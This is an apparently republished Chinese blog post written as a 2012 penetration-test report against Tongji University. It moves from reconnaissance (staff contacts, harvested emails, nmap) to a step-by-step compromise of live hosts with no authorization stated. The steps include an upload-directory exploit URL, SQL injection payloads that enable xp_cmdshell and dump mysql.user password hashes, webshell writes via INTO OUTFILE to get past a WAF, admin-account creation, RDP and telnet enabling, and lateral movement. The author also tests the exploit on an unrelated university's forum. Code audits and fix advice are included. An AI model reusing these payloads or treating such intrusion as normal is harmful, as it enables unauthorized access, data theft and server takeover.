12年写的一份渗透测试报告

 2012写的一份渗透报告,排版比较乱。

      内容包含,基础渗透,内网渗透,asp代码审核,C语言代码审核,php代码审核,漏洞修复方法,安全建议等,本人水平有限,勿喷

     目标:同济大学 域名:www.tongji.edu.cn
 
1.信息收集
 
           收集www.tongji.edu.cn 网站 子站 信息 为后续渗透做好铺垫。
 
    1.1 获取IP
          使用Ping得到IP 202.120.189.3 address:上海   

     1.2 Whois  查询
                

网段: 202.120.176.0 - 202.120.191.255

                管理员联系:

Cui , Zijun (ZC3-CN)

+86-21-6598-9006

技术人员联系:

Wang , Zhengping (ZW2-CN)

+86 21 65025080 ext. 2840

 最后更新记录在 19970627

记录于 19970627

dns.tongji.edu.cn 202.120.191.30

dns1.tongji.edu.cn 202.120.191.208



 1.3 Mail:收集 

Mail服务器:http://mail.tongji.edu.cn 

碰过很多用邮箱前辍做密码的.

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

[email protected]

        
1.4 子域名收集

分布这个网段:202.120.189.3-202.120.189.255C段全部是WEB应用

同服网站:

http://www.tongji.edu.cn

http://news.tongji.edu.cn

http://gandong.tongji.edu.cn

http://photo.tongji.edu.cn


2. 扫描

nmap:

    

nmap -sS -sV -P0 -T4 -O -A -F -sC --version-light -v www.tongji.edu.cn

 

 返回:

80/tcp open  http    nginx 1.0.8

|_http-methods: No Allow or Public header in OPTIONS response (status code 405)

|_http-title: \xE6\xAC\xA2\xE8\xBF\x8E\xE8\xAE\xBF\xE9\x97\xAE\xE5\x90\x8C\xE6\x

B5\x8E\xE5\xA4\xA7\xE5\xAD\xA6\xE4\xB8\xBB\xE9\xA1\xB5

 

nix  只对外开放一个80 信息收集的差不多这后 由于主站只开放一个WEB应用 。

      

只好转WEB上来


3.web评估

  首先使用首先使用Wet工具对镜点进行镜像:

   

         爬完网站后,在网站目录结构下找到在一个叫SC的目录,该目录下找到一个asp的网站 测试一下了也没存在漏洞 还调用了防注入程序。

        

   过滤GET POST COOKIE 提交过来的数据  主站无果  旁站也没有可拿到shell的漏洞,现在只好渗透分站了

   找到一个Ip:202.120.189.3  此站服务器上只有一个站点 初步估计权限会很大 好提权 好吧 就它了

   先测试注入:提交单引号:http://celiang.tongji.edu.cn/clwww/shownews.asp?id=65

   居然玩跳转了:

   

   这个跳转也暴露了,它网站使用的程序,是一套asp的cms,w78cms,估计大家都很熟悉,国内用的比较多吧.

   这套程序存在一个上传漏洞,以下是分析过程:

   

Sub InitUpload()
sType = UCase(Trim(Request.QueryString("type")))
sStyleName = Trim(Request.QueryString("style"))
sCusDir = Trim(Request.QueryString("cusdir"))
sParamSYFlag = Trim(Request.QueryString("syflag"))
sCusDir = Replace(sCusDir, "\", "/")
If Left(sCusDir, 1) = "/" Or Left(sCusDir, 1) = "." Or Right(sCusDir, 1) = "." Or InStr(sCusDir, "./") > 0 Or InStr(sCusDir, "/.") > 0 Or InStr(sCusDir, "//") > 0 Then
sCusDir = ""
 
'这里程序员只考虑到了跨目录的问题
End If
Dim i, aStyleConfig, bValidStyle
bValidStyle = False
For i = 1 To Ubound(aStyle)
aStyleConfig = Split(aStyle(i), "|||")
If Lcase(sStyleName) = Lcase(aStyleConfig(0)) Then
bValidStyle = True
Exit For
End If
Next
If bValidStyle = False Then
OutScript("parent.UploadError('style')")
End If
sBaseUrl = aStyleConfig(19)
nUploadObject = Clng(aStyleConfig(20))
nAutoDir = CLng(aStyleConfig(21))
sUploadDir = aStyleConfig(3)
If sBaseUrl<>"3" Then
If Left(sUploadDir, 1) <> "/" Then
sUploadDir = "../" & sUploadDir
End If
End If
Select Case sBaseUrl
Case "0", "3"
sContentPath = aStyleConfig(23)
Case "1"
sContentPath = RelativePath2RootPath(sUploadDir)
Case "2"
sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir))
End Select
If sBaseUrl<>"3" Then
sUploadDir = Server.Mappath(sUploadDir)    ‘这里创建目录
End If
If Right(sUploadDir,1)<>"\" Then
sUploadDir = sUploadDir & "\"
End If

很明显 程序员只考虑到跨目录的漏洞 没有过滤点号 最后创目录 结合IIS解析漏洞  导致漏洞形成。

漏洞修复方法:sCusDir = Replace(sCusDir, ".", "")

漏洞利用:

http://celiang.tongji.edu.cn/clwww/admin/w78eWebEditor/asp/upload.asp?action=save&type=image&style=popup&cusdir=Zvall.asp

时程序会在uploadfile 目下创建一个名为Zvall.asp的文件夹

在利用这个HTML上传吧




上传成功后返回的源码:


WEB后门发现服务器已被攻陷 有administratoradmin$帐号一枚,并且发现服务器支持JSP 默认是SYSTEM权限,

ipconfig /all后发现服务器有4张网卡  其中一张是VirtualBox虚拟网卡.

多网段意味着渗透的空间更大,执行net user Administrator命令后发现:管理员的最后登录时间为2012-8-14 7:00           

看来服务器管理员经常来服务器 在查看了下administrator的桌面发现个bat

内容为: 

ipconfig /release

ipconfig /renew

可以看出服务器的某张网卡采取的是dhcp方式

初步猜测管理员可能不是小白 所以类似进服务器桌面操作看起来有点不可取

但又没办法只好挂上一个VPN加一个跳板 再添加管理帐号

再用lcx.exe  转发端口


网络连接信息:


执行ipconfig /all:后发现有如下网段

网段1:     10.10.203.*

网段2:      192.168.0.*

网段3:      169.254.*         DHCP

 

 

首先渗透 网段2

先破系统hash为:gisgp**  由于服务器上装了chrome浏览器所以读读密码吧,例如上网上时表单的密码。不过运气并没有眷故我,没有读出密码在读其实WEB程序配置文件时发现本机的MSSQL存在一个弱口令 sa/password,由于没有将1433映射到公网所以降低了被渗透的风险

 

网卡2:ip为  192.168.0.11

在枚举时发现192.168.0.12192.168.0.11Ntpass密码一样 果断连接ipc$


又现sql 弱口令一枚 看来这个管理员安全意低, 同时网段1 ip 10.10.203.70 OSwindows  xp  存在NT弱口令。


简单测试了一下这个网段存在以下问题

  1. 管理的系统密码通用
  1. 同时管理的两台WEB应用服务器 MSSQL 都存在弱口令

 

到了这步 首先利用WMI 给服务器开telnet,服务器是ip: 192.168.0.12    OS:windows 2000



telnet里 添加帐号 net user Zvall Zvall/add& net localgroup administrators Zvall /add

由于服务器3389没有打开  加之是windows 2000 网上的那些开3389的脚本都要重启

这里我想了一个不用重启的方法出来了脚本如下:

echo [Components] > c:\Zvall 

echo TSEnable = on >> c:\Zvall 

sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\Zvall /q  

执行以上脚本后无需重启即开3389  成功 good


哎 只有两三台服务器出搞了个domain,简直了:




由于此段只有几个IP 只好换网段再渗透:

现在目标定在:192.168.0.250.*  这个段上

首先收集内网中存活的IP

Nmap -sP 192.168.o.o/24



在使用SuperScanner C段常见的应用:


在观察端口时发现  192.168.250.3 服务器上的WEB应用程序属于开源程序BBS程序KBS

KBS bbs 是由C语言+php编写而成 于是下了源码分析了一下,发现存在一个上传漏洞

C代码 源码分析:
 
 
 
PHP_FUNCTION(bbs_upload_add_file)
{
    char *filename, *ofilename;
    int flen, oflen, ret;
    if (zend_parse_parameters(2 TSRMLS_CC, "ss/", &filename, &flen, &ofilename, &oflen) == FAILURE) {
        WRONG_PARAM_COUNT;
    }
    if (!flen || !oflen) {
        RETURN_ERROR(GENERAL);
    }
    ret = upload_add_file(filename, ofilename, getSession());
    switch (ret) {
        case -1:
            RETURN_ERROR(GENERAL);
            break;
        case -2:
            RETURN_ERROR(ATTACH_CLIMIT);
            break;
        case -3:
            RETURN_ERROR(ATTACH_INVALIDNAME);
            break;
        case -4:
            RETURN_ERROR(ATTACH_DUPNAME);
            break;
        case -5:
            RETURN_ERROR(GENERAL);
            break;
        case -6:
            RETURN_ERROR(ATTACH_SLIMIT);
            break;
        default:
            RETURN_LONG(0);
            break;
    }
}
 
upload_add_file:
 
int upload_add_file(const char *filename, char *original_filename, session_t *session)
{
    int ret = upload_add_file_helper(filename, original_filename, session);
    if (ret) unlink(filename);
    return(ret);
}
 
upload_add_file_helper:
 
static int upload_add_file_helper(const char *filename, char *original_filename, session_t *session)
{
    struct ea_attach_info ai[MAXATTACHMENTCOUNT];
    char attachdir[MAXPATH], attachfile[MAXPATH];
    FILE *fp;
    char buf[256];
    int i, n, len;
    int totalsize=0;
    char *pos1, *pos2;
    struct stat stat_buf;
 
    n = upload_read_fileinfo(ai, session);
    if (n >= MAXATTACHMENTCOUNT)
        return -2;
 
    pos1 = strrchr(original_filename, '\\');
    pos2 = strrchr(original_filename, '/');
    if (pos1 && pos2) {
        if (pos1 < pos2) pos1 = pos2;
        original_filename = pos1 + 1;
    } else {
        pos1 = pos1 ? pos1 : pos2;
        if (pos1) original_filename = pos1 + 1;
    }
    len = strlen(original_filename);
    if (!len)
        return -3;
    if (len > 60) {
        original_filename += (len-60);
        if (original_filename[-1] & 0x80) {
            original_filename++;
        }
    }
    filter_upload_filename(original_filename);  //过滤跨站字符
 
    for (i=0;icurrentuser, PERM_SYSOP) && totalsize > MAXATTACHMENTSIZE) return -6;
 
    getattachtmppath(attachdir, MAXPATH, session);
    mkdir(attachdir, 0700);
 
    snprintf(attachfile, MAXPATH, "%s/%d_%d", attachdir, (int)(time(NULL)%10000), rand()%10000);
    f_mv(filename, attachfile);
 
    snprintf(buf, sizeof(buf), "%s %s\n", attachfile, original_filename);
 
    snprintf(attachfile, MAXPATH, "%s/.index", attachdir);
    if ((fp = fopen(attachfile, "a")) == NULL)
        return -1;
    fprintf(fp, "%s", buf);
    fclose(fp);
    return(0);
}

整个过程都没有检测上传文件类型,只过滤了一些跨站字符

 

首先在BBS上注册一个帐号

 

上传地址为http://bbs.tongji.edu.cn/bbsupload.php?act=add

 

print `ls -la`;

?>

 

上传这个文件后突然发现访问不了网站了,上传txt又可以果然是WAF在作怪啊




据以往渗透的经验来看 初步估计192.168.250.* 这个网段有一台WAF

明显是检测 关键字 ,大概过了5分钟 左右 发现可以访问了

又上传一个传的文件vall';?>  ,此时WAF又中断了访问,看来是WAF检测了后辍名了。 再上传一个txt 返回正常



为了证明此漏洞的存在,我在网上找了个大学BBS站测试了一下,并成功上传php后门。



漏洞修复方法:使用白名单方式过滤filename ,把  Filepath定义成常量

 

到了这步只好继续看SuperScanner扫出的结果:


APPWEB  这不是嵌入式设备才有的么?

 

于是访问 192.168.250.254


果然是高级货Juniper SRX3600  大学有钱呀


呵呵 难怪搞这个这么昂贵的设备呀 因为此网段全是WEB应用,现在只好继续查找其它WEB应用


继续找到一个IP存在一个猪肉点 192.168.250.13

 

用的Asp.net程序存在 SA 权限 注点一个 数据库为: Mssql2008

 

提交:

 

http://gonghui.tongji.edu.cn/WebSite1/Public/NewsDetail.aspx?lastestnewsid=638+and+user>0

 

返回:

“/WebSite1”应用程序中的服务器错误。

 

在将 nvarchar 值 'dbo' 转换成数据类型 int 时失败。 

 

http://gonghui.tongji.edu.cn/WebSite1/Public/NewsDetail.aspx?lastestnewsid=638+and+(select+IS_SRVROLEMEMBER('sysadmin'))=1--

 

返回正常 当前是SA 由于mssql2008默认没有开启xp_cmdshell 所以还得开启它才执行命令,以用如下语句开启:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 

再利用Pangolin执行命令



再直接来开3389  加管理员

执行REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

执行完后 发现3389端口并没有打开

执行shutdown -r -t 0  返回: 计算机已经锁定而且不使用强制选项无法关机。(1271)

那就只有把管理员注销掉执行query user 返回

枚举会话名时的错误 0x000006A6

错误[1702]:绑定句柄无效

 

哎 由于不知道管理员的会话ID 所以无法去注销了

 

现在只好开启telnet服务了

执行:

sc config tlntsvr start= auto

net start telnet

再加管理员


此时:192.168.250.13被成功攻陷

 

总结一下WEB程序漏洞修复方法:

Asp.net程序注入防护:

1.对用户传入的值进行强制类型转换

2.使用正则表达式验证控件对用户传入的值进行长度进行限制

3.对SQL语句使用命令参数方式

 

 

最后的渗透 --突破WAF

 

在继续查找此网段的WEB应用漏洞时,发现mba.tongji.edu.cn 这个站php写的

存在一个字符型mysql注入点,提交一个单引号后爆出绝对路径,后来发现不能用order by 语句

分析下SQL语句:

 

SELECT * FROM (`tongji_page_info`) WHERE `id` = '111' order by 1 and ''='' ORDER BY `id` DESC

有两个 order by

现在只好依次提交:

http://mba.tongji.edu.cn/index.php/page/pagedetail?id=111'/*--*/union+select/*--*/null,null,null,null,null,null,null,null,null,null,null,null/*--*/and/*--*/''='

返回正常

 

提交:

http://mba.tongji.edu.cn/index.php/page/pagedetail?id=111'/*--*/union/*--*/select/*--*/null,user(),null,null,null,null,null,null,null,null,null,null/*--*/and/*--*/''='

 

返回:tongjicase@localhost

Mysql版本为:5.0.19-nt


测试读文件权限:

提交:

http://mba.tongji.edu.cn/index.php/page/pagedetail?id=111111111111'/*--*/union/*--*/all/*--*/select/*--*/null,concat(0x7e,0x27,load_file(0x433A5C626F6F742E696E69),0x27,0x7e),null,null,null,null,null,null,null,null,null,null/*--*/and/*--*/''='

 

成功返回boot.ini文件

 


 

Into outfile Shell 写shell时发现失败,之前扫WEB目录时发现有phpmyadmin程序

在提交:

 http://mba.tongji.edu.cn/index.php/page/pagedetail?id=111111111111111'/*--*/union/*--*/all/*--*/select/*--*/NULL,(select+concat(0x7e,0x27,unhex(Hex(cast(user+as+char))),0x3a,unhex(Hex(cast(password/*--*/as/*--*/char))),0x3a,unhex(Hex(cast(host/*--*/as/*--*/char))),0x27,0x7e)/*--*/from/*--*/mysql.user/*--*/limit/*--*/1,1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL/*--*/and/*--*/''='

成功读出mysql root密码 破出其mysql HASH后  登录phpmyadmin

 

再执行以下sql写shell;

 

create table tmp(cmd TEXT);  

insert into tmp values('Zvall][tmp_name],$_FILES[Zvall][name]);?>');select * from tmp into outfile 'E:\\Apache\\www\\system\\database\\ss2.php'; drop table tmp;

在本地上传文件时 WAF 毫不留情的中断了俺的访问

再次尝试执行;

create table tmp(cmd TEXT);  insert into tmp values('');select * from tmp into outfile 'E:\\Apache\\www\\system\\database\\ss2.php'; drop table tmp;

放在菜刀里执行后 WAF 再次中断了我的访问

在市面上找了一些免杀的一句话 后还是过不了WAF这关呀

 

于是自己动手写了个小后门:

 


 

 
reate table tmp(cmd TEXT);  
insert into tmp values('
');select * from tmp into outfile 'E:\\Apache\\www\\Zvall.php'; drop table tmp;

可以了

 

访问:http://mba.tongji.edu.cn/Zvall.php?cmd=whoami 执行whoami命令

 

返回 nt authority\system,SYSTEM权限

 

在执行http://mba.tongji.edu.cn/Zvall.php?cmd=dir时发现了一个意思的东东




最后导致服务器攻陷的原因终根结底还是WEB应用程序漏洞所致

下面是漏洞程序分析:

类似这样的URL:http://mba.tongji.edu.cn/index.php/page/pagedetail?id=111

都是基于路由模式

调用page.php中的pagedetail方法:

php源码审核:

function __construct(){
        parent::__construct();
        $this->load->helper('url');
        $this->load->model('Page_Info_Model');
        $this->load->helper('UtilClass');
    }
    
    public function pagedetail(){
        $id = Util::getPar('id');
        $where = "`id` = '".$id."'";
        $info = $this->Page_Info_Model->getInfo($where);
        //顶级页面 顶级下所有页面
        $topinfo = $this->Page_Info_Model->getTopInfo($id);
        $infos = $this->Page_Info_Model->getChilds($topinfo['id']);
        $result = array();
        $result['info']    = $info;
        $result['topinfo'] = $topinfo;
        $result['infos']   = $infos;
        $this->load->view('pagedetail', $result);
}
 
Util类Getpar 方法:
 
 
class Util{   
    public static function getPar($name){
       if(!empty($_GET[$name])){
           return $_GET[$name];
       }elseif(!empty($_POST[$name])){
           return $_POST[$name];
       }elseif(!empty($_SESSION[$name])){
           return $_SESSION[$name];
       }elseif(!empty($_COOKIE[$name])){
           return $_COOKIE[$name];
       }else{
           return null;
       }     
    }  
 


直接去获取用户传过来的值无任何过滤。

漏洞修复方法:

1.WEB程序修复:

$id = (int)Util::getPar('id');



2.服务端设置建议

 1.Phpmyadmin 不要放在WEB 根目录 将其改名

2.给apache mysql 降权 以低权限运行

3.给WEB 设置访问权限 禁用一些php危险函数如:System.shell_exec

4.3389端口映射到公网时。把端口改掉 

 

总结

总结下各网段网络管理员的管理范畴中的不善:

网段192.168.250.*  

1.WAF 配置不当

   2. WEB 应用程序漏洞

 

 

 

 

网段2:  10.10.203.*  

  1. 无软防与硬防  
  1. 口令存取机制

  3.WEB应程序漏洞

 

 

网段3192.168.0.*


1.无软防 与硬防

    2口令存取机制 通用密码

3.WEB应用程序漏洞

 

 

安全建议:

 

1.设备安全

 

  1. 不同VLAN之间最好隔离即使攻击者 攻陷网段也无法访问网段2

 

  1. 交换机堆叠级联的问题如果有两个网关 那么攻击者就可以 以单网卡多IP的方式

 

渗透其它网段

 

 

  1. 口令存取机制

 

建议设置强壮的密码不要使用QQ 生日 论坛 的帐号 密码做服务器密码

 

不要使用通用密码

 

 

  1. 软件 系统

 

定时更新系统补丁 以防 0day 提权漏洞

 

权限设置

 

 

  1. WEB 应用防护

由于WEB 应用多建议重新部署WAF的检测机制

 

EOF

---------------------------------------------------------------------------------------------------------------------------




你可能感兴趣的:(渗透测试)